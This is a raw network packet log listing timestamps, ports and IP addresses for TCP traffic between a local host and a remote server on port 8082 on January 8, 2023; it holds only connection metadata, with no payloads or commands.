Jan 8, 2023 16:06:57.676193953 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676217079 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676256895 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676402092 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676424980 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676445961 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676465988 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676479101 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676487923 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676508904 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676508904 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676531076 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676548004 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676552057 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676568031 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676573992 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676597118 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676609039 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676618099 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676641941 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676652908 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676677942 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676709890 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.790656090 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.790764093 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.790819883 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.790863037 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.790891886 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.790904999 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.790937901 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.790952921 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.790952921 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.790973902 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.790976048 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.790999889 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791008949 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791030884 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791042089 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791069984 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791071892 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791088104 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791104078 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791136980 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791145086 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791165113 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791179895 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791192055 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791224957 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791233063 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791260958 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791279078 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791294098 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791321993 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791337013 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791342020 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791383028 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791402102 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791414976 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791445017 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791446924 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791480064 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791486025 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791501999 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791510105 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791528940 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791539907 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791558981 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791569948 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791589975 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791605949 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791621923 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791650057 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791660070 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791692972 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791707993 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791723967 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791750908 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791759968 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791773081 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791804075 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791810036 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791845083 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791856050 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791876078 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791897058 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791903973 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791928053 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791934967 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791951895 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791965961 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.791987896 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.791996956 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.792016983 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.792030096 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.792047977 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.792073965 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.792081118 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.792117119 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.792124987 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.792151928 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.792167902 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.792206049 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.906446934 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906486034 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906505108 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906527042 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906552076 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906601906 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906626940 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906646967 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906667948 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906696081 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.906699896 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906728983 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906761885 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906769991 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.906791925 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906802893 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.906815052 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906836033 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906850100 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906856060 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.906872988 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906888962 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.906893969 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906914949 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906922102 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.906929016 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.906955957 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.906981945 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907006025 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907030106 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907056093 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907064915 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907087088 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907099962 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907111883 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907133102 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907135010 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907156944 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907161951 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907181025 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907197952 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907202959 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907229900 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907238960 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907259941 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907273054 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907290936 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907313108 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907315969 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907336950 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907351017 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907357931 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907378912 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907381058 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907398939 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907403946 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907422066 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907427073 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907449007 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907452106 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907473087 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907489061 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907494068 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907516003 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907516956 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907546043 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907572985 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907574892 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907598972 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907612085 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907618046 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907636881 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907639027 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907660007 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907665968 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907701015 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907731056 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907758951 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907783985 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907800913 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907826900 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907840014 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907845020 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907893896 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907902002 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907923937 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907948971 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907963991 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.907969952 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.907985926 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908004999 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908009052 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908030987 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908030987 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908054113 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908077955 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908083916 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908106089 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908128977 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908149958 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908166885 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908209085 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908292055 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908341885 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908349037 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908369064 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908387899 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908391953 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908416033 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908438921 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908471107 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908490896 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908512115 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908515930 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908530951 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908539057 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908561945 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908586979 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908601999 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908649921 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908651114 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908674955 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908694983 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908698082 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908715963 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908715963 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908740044 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908740044 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908763885 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908771038 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908782959 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908798933 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908813953 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908822060 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908843040 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908843994 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908863068 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.908869028 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908891916 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.908914089 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.021671057 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021711111 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021733046 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021763086 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021792889 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021816969 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021836996 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021856070 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021869898 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.021878004 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021903992 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021922112 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.021934986 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021960020 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.021962881 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021986008 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.021987915 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022006989 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022028923 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022030115 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022058010 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022068977 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022087097 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022098064 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022111893 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022130966 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022139072 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022152901 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022166014 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022173882 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022190094 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022195101 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022216082 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022221088 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022243977 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022269964 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022270918 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022295952 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022296906 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022315979 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022335052 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022339106 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022360086 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022360086 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022380114 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022403955 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022412062 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022424936 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022439003 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022474051 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022488117 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022545099 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.022558928 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.022613049 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.042587996 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.157639027 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.361335993 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.477406025 CET	8082	49702	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.477531910 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.478043079 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.478140116 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.593437910 CET	8082	49702	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.593478918 CET	8082	49702	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.593574047 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.593616009 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.707732916 CET	8082	49702	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.714178085 CET	8082	49702	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.714215994 CET	8082	49702	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.714270115 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.714307070 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.714549065 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.714601994 CET	49702	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.862241030 CET	49703	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.977133989 CET	8082	49703	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:58.977385998 CET	49703	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:58.999479055 CET	49703	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.114082098 CET	8082	49703	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.118388891 CET	8082	49703	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.118434906 CET	8082	49703	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.118494034 CET	8082	49703	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.118638992 CET	49703	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.118681908 CET	49703	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.122404099 CET	49703	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.236752987 CET	8082	49703	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.250545979 CET	49704	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.365972996 CET	8082	49704	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.366071939 CET	49704	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.366625071 CET	49704	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:59.480490923 CET	8082	49704	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.485723972 CET	8082	49704	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:59.485780001 CET	8082	49704	20.104.209.69	192.168.2.6
